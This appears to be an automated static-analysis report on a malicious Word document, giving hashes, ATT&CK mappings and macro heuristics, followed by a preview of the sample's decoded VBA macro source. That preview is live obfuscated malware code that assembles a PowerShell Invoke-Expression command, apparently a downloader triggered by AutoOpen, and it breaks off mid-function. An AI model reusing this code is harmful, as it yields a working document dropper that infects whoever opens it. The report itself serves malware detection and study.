Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7206e2c4b8fc7239…

MALICIOUS

Office (OLE)

165.0 KB Created: 2018-05-21 12:24:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: 5db6b6fc23e872ef2c6390e0dadaea25 SHA-1: 6f4bf66b0b4319c7e7c158c58abbf713b3dbd1ab SHA-256: 7206e2c4b8fc72397ef523ac66195a57c31e672c007f118fc20397fa894b228f
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a Microsoft Office document containing VBA macros. A critical heuristic firing indicates the presence of a Shell() call within the VBA code, which is commonly used to execute arbitrary commands. The AutoOpen macro marker further suggests that this malicious code is designed to run automatically upon opening the document. The script's obfuscated nature and the Shell() call strongly suggest it's a downloader for a second-stage payload.

Heuristics 5

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 182781 bytes
SHA-256: e90a304726792f845619c68eb86a1cb5439d3c335d5595c0a86065f066625987
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "mECsHnWkk"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function IcmiYoYIIX()

On Error Resume Next
ROLEnur = (WWZiji - CDbl(113891) + XCkOWljq + Fix(SjikojX / CLng(521951 * Sqr(zHlbduSjJUi))) - 21263 / Sin(vKMZWMCQwpi - XqlELHVnw - 594036 + CLng(hYswtIRh)) * 106835 * Fix(113891))
PBjHAuhv = "Vowerh82XVZ9NPK4pyshell iNvOtoEDEsv43eChwslDpnpd"
lOVcvL = CStr(Left(Right(PBjHAuhv, 47), 4)) + Left(Right(PBjHAuhv, 30), 10) + Left(Right(PBjHAuhv, 34), 1) + Left(Right(PBjHAuhv, 16), 1)

GwcwbPRkm = "WkNJBdOsepREsrpFF74kHHlyuMTXYDtZ-ExPRESsIon( ('&( MbydUEyOvErv9VbFwlNXIgmfKsvW9fBfIuiwSgcFJY9W3U"
jsDWYVILP = Left(Right(GwcwbPRkm, 64), 21) + CStr(Left(Right(GwcwbPRkm, 38), 3)) + CStr(Left(Right(GwcwbPRkm, 16), 1)) + CStr(Left(Right(GwcwbPRkm, 90), 6)) + Left(Right(GwcwbPRkm, 23), 1)

abIvXljwXK = "BO'WkNJBdeRences.pFF74tHHly"
NcaXHN = CStr(Left(Right(abIvXljwXK, 18), 6)) + Left(Right(abIvXljwXK, 11), 1) + Left(Right(abIvXljwXK, 5), 1) + CStr(Left(Right(abIvXljwXK, 25), 1))

YmzaKlwlY = Chr(43)
EjIYT = "BOm3]NJBdThiVoH'OStriNG()ly[1TXYDtZK7U,xYLDQP"
AiJBXXor = Left(Right(EjIYT, 30), 10) + Left(Right(EjIYT, 18), 2) + CStr(Left(Right(EjIYT, 7), 1)) + Left(Right(EjIYT, 42), 2)

zpnWD = Chr(43)
KKslOWjY = "WkNJB ( (VoHsrpFF74kHHlypRfxpRf-JOINpRfpQPLRfEMoEeVw6dpEyOOp)v9VbFwlNXIg"
ZiuUSp = CStr(Left(Right(KKslOWjY, 48), 16)) + CStr(Left(Right(KKslOWjY, 29), 2)) + Left(Right(KKslOWjY, 12), 1) + CStr(Left(Right(KKslOWjY, 67), 4)) + CStr(Left(Right(KKslOWjY, 18), 1))

icEmoZaLd = "k4BOmWkRfFlpRiVoHsfpF"
AmDJMFVHH = Left(Right(icEmoZaLd, 14), 5) + Left(Right(icEmoZaLd, 9), 1) + Left(Right(icEmoZaLd, 3), 1)

AzHjFIqFmf = Chr(43)
VtrEnXvhU = (EPjJYlt - CDbl(722310) + tPskBGV + Fix(SkCiKcuDKMX / CLng(303294 * Sqr(wsAfRkwBZX))) - 934509 / Sin(rdfUvpkskis - KilLc - 240973 + CLng(czLOETB)) * 714710 * Fix(722310))
wOYzr = "k4BOmWkNpRf0nsVpHsrp'F74"
iqXGfFViJW = CStr(Left(Right(wOYzr, 16), 6)) + Left(Right(wOYzr, 9), 1) + Left(Right(wOYzr, 4), 1)

IZQmptvwf = Chr(43)
TqwsNf = "4uk'RfmWk"
EGjvlST = Left(Right(TqwsNf, 6), 2) + Left(Right(TqwsNf, 4), 1)

AlmkuwG = Chr(43)
knKumCNJ = (vYfTfZbpA - CDbl(931195) + SJABEubbZn + Fix(sQWWW / CLng(826334 * Sqr(GLKollVm))) - 982655 / Sin(LXMVltt - FQklFAKbn - 904459 + CLng(iCIJzJzU)) * 115409 * Fix(931195))
jXjAFIa = "BOmWo7VBdThiVoHsrpFFpRfadasd = &(oZK7VIxYLDQPLFpEMnEeVw6dUEy"
QoujMAbTc = Left(Right(jXjAFIa, 40), 14) + Left(Right(jXjAFIa, 24), 2) + CStr(Left(Right(jXjAFIa, 10), 1)) + Left(Right(jXjAFIa, 56), 3)

JOzMKjZSHBo = Chr(43)
jzRuiwIO = "k4BOmWo7VpRThiV'Hs"
KbNGXWit = CStr(Left(Right(jzRuiwIO, 12), 4)) + CStr(Left(Right(jzRuiwIO, 8), 1)) + Left(Right(jzRuiwIO, 3), 1)

OhVmvmXFBEY = Chr(43)
MwTnWwRF = "Eg'fk4"
rNknGD = Left(Right(MwTnWwRF, 4), 2)

YaOurndTVGd = Chr(43)
QTkUUzm = (zRSBzYAnc - CDbl(976751) + SDKfnCXNIwb + Fix(KFsnMkz / CLng(909462 * Sqr(ivuwbz))) - 637631 / Sin(zOhvbqav - JljhzHqn - 559763 + CLng(iHNJL)) * 511892 * Fix(976751))
qOZLYqDfd = "pW11HFwCigXpRl3myfeopRfi"
hAhcVB = Left(Right(qOZLYqDfd, 13), 2) + Left(Right(qOZLYqDfd, 7), 6)

ZFijzUZRzEf = Chr(43)
XVwRsGUksp = "pW11HFwpigRf7'3"
DAUvI = CStr(Left(Right(XVwRsGUksp, 8), 1)) + CStr(Left(Right(XVwRsGUksp, 5), 4))

sYHVrfk = Chr(43)
IcmiYoYIIX = lOVcvL + jsDWYVILP + NcaXHN + YmzaKlwlY + AiJBXXor + zpnWD + ZiuUSp + AmDJMFVHH + AzHjFIqFmf + iqXGfFViJW + IZQmptvwf + EGjvlST + AlmkuwG + QoujMAbTc + JOzMKjZSHBo + KbNGXWit + OhVmvmXFBEY + rNknGD + YaOurndTVGd + hAhcVB + ZFijzUZRzEf + DAUvI + sYHVrfk

End Function

Function PItLip()

On Error Resume Next
dmENwwkF = (XlWqtHc - CDbl(724481) + JBQWAOKU + Fix(MvEwomZMk / CLng(135015 * Sqr(SfmISQ))) - 58005 / Sin(VZAGf - hkuXrF - 427201 + CLng(YutPmpBU)) * 455552 * Fix(724481))
EPTPjKCnDvM = "pW11HFw'igVpRf3"
WatrVO = CStr(Left(Right(EPTPjKCnDvM, 8), 1)) + CStr(Left(Right(EPTPjKCnDvM, 5), 4))

ziSzudRDAVq = C
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.